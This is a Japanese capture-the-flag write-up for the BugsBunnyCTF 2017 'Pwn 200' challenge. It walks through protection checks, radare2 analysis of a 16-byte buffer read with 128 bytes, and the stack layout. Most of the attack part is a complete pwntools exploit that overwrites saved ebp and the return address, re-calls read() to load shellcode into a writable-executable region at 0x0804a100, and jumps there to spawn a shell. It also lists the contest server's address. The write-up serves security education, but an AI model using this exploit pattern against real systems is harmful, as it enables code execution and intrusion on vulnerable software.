bugsbunnyctf2017 [Pwn 200] Pwn200
観察
まずはセキュリティ機構を調べてみましょう。
»»»» gdb -q pwn200 0|23:05:18 Reading symbols from pwn200...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : Partial
実行するとただ文字を受け付けるだけのようでした。バッファオーバーランが出来るか試します。
»»»» ./pwn200 0|22:41:00 Welcome to BugsBunnyCTF! Its all easy you should solve it :D? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA fish: Job 5, './pwn200' terminated by signal SIGSEGV (Address boundary error)
セグフォが来ました。今回の脆弱性はバッファーオーバーランのようです。
BOFなのでオフセットを調べたいところですがまずはバイナリをチェックしてみましょう。
radare2を使って、解析をして(aaaa)、関数一覧を見ます(afl)。
»»»» r2 -w pwn200_r2 0|23:08:08 -- Please remove pregnant women, pregnant children, and pregnant pets from the monitor. [0x080483a0]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [aav: using from to 0x8048000 0x8049d58 Using vmin 0x8048000 and vmax 0x804a02c aav: using from to 0x8048000 0x8049d58 Using vmin 0x8048000 and vmax 0x804a02c [x] Analyze value pointers (aav) [Deinitialized mem.0x100000_0xf0000 functions (afta)unc.* functions (aan) [x] Type matching analysis for all functions (afta) [x] Type matching analysis for all functions (afta) [0x080483a0]> afl 0x08048310 3 35 sym._init 0x08048350 1 6 sym.imp.read 0x08048360 1 6 sym.imp.puts 0x08048370 1 6 sym.imp.__libc_start_main 0x08048380 1 6 sym.imp.setvbuf 0x08048390 1 6 sub.__gmon_start___252_390 0x080483a0 1 33 entry0 0x080483d0 1 4 sym.__x86.get_pc_thunk.bx 0x080483e0 4 43 sym.deregister_tm_clones 0x08048410 4 53 sym.register_tm_clones 0x08048450 3 30 sym.__do_global_dtors_aux 0x08048470 4 43 -> 40 sym.frame_dummy 0x0804849b 1 29 sym.init 0x080484b8 1 30 sym.HEYy 0x080484d6 1 59 sym.lOL 0x08048511 1 46 sym.main 0x08048540 4 93 sym.__libc_csu_init 0x080485a0 1 2 sym.__libc_csu_fini 0x080485a4 1 20 sym._fini
とりあえずsym.mainから見ていきます。
[0x080483a0]> s sym.main [0x08048511]> VV
中では sym.init
、sym.HEYy
、 sym.lOL
を順に呼び出してるだけのようでした。
さらにそれぞれの関数に飛んで読むと sym.lOL
でread()を呼び出しているようです。
ローカル変数としてはdword(4byte)のものを4つ合計16byteを入力用としてとっているものの、実際には0x80=128byte分の入力を受け付けているため、バッファーオーバーランを起こすようです。
観察を進めます。スタック領域はleave命令前ではこのようになっています。
ローカル変数0 ローカル変数1 ローカル変数2 ローカル変数3 以前のebpの値(最初でpushしている) 呼び出し元の関数のポインタ
leave命令後ではebpは以前のebpの値に戻り、espは呼び出し元の関数のポインタを指すようになります。(つまりleave前のebpの値の一つ先(4byte後)のアドレスを指す)
このような構成になっていることから次のことが可能です。
- ebpの値を任意の値に書き換えられる。
- 呼び出し元の関数のポインタ以後を書き換えることでreturn oriented programmingができる。
今回はこの2つを使ってシェルを取ります。
残る問題はshellcodeをどこに置くかですが
ASLRが効いていて、stack領域が特定できないと仮定してかつPIEが無いことから
実行バイナリの書き込み可能かつ実行可能の領域を探してそこにshellcodeを置きます。
これを探すためにまずバイナリを実行して、pwntoolsのpause()関数を使うなりしてバイナリを止めておいて
cat /proc/{pid}/maps
をします。
すると以下の領域が目的として合致していることがわかります。
0804a000-0804b000 rwxp
ただし、radare2で見ると
[0x080483a0]> CC ... 0x0804a00c data Cd 4 0x0804a010 data Cd 4 0x0804a014 data Cd 4 0x0804a018 data Cd 4 0x0804a024 data Cd 4 ...
と 0x0804a00c~0x0804a028
間にはshellcodeを置かないようにしておきます。(多分意味はないですが。)
自分の解法では0x0804a100
からshellcodeを配置します。
Exploit!
いよいよExploitに入ります。やることは
- ebpと次の関数を指すポインタを書き換えてread関数でshellcodeを読み込めるようにする。
- shellcodewを書き込んでshellcodeの先頭に飛ばす
の2つです。
まず1のコードです。
from pwn import * #context.log_level = 'debug' HOST = '54.153.19.139 ' PORT = 5254 #conn = remote(HOST, PORT) conn = process('./pwn200') pause() payload = 'A' * 4 * 6 payload += p32(0x0804a100) #使用する実行可能領域のアドレス payload += p32(0x080484dc) #read関数の数個手前のアドレス conn.sendafter('Its all easy you should solve it :D?', payload)
次に2のコードです。
payload = open('./binsh4').read() #ハリネズミ本のサポートサイトの作成法を見て作っておいたshellcode。 payload += '\x00' * (4 * 7 - len(payload)) payload += p32(0x08048747) #espのpaddingとして適当なアドレス、念の為ret命令を指すようにしておいた。 payload += p32(0x08048747) #上に同じ。 payload += p32(0x08048747) #上に同じ。 payload += p32(0x0804a0e8) #shellcodeの先頭のアドレス、ローカル変数0はebp - 0x18を指す。 conn.send(payload) conn.interactive()
最後にこれらのコードを合わせて、
from pwn import * #context.log_level = 'debug' HOST = '54.153.19.139 ' PORT = 5254 #conn = remote(HOST, PORT) conn = process('./pwn200') pause() payload = 'A' * 4 * 6 payload += p32(0x0804a100) payload += p32(0x080484dc) conn.sendafter('Its all easy you should solve it :D?', payload) payload = open('./binsh4').read() payload += '\x00' * (4 * 7 - len(payload)) payload += p32(0x08048747) payload += p32(0x08048747) payload += p32(0x08048747) payload += p32(0x0804a0e8) conn.send(payload) conn.interactive()
を実行してシェルが取れます。
flagは /home/pwn200/flag
を cat
して
Bugs_Bunny{Its_all_about_where_We_Can_Put_Our_Shell:D!}
でした。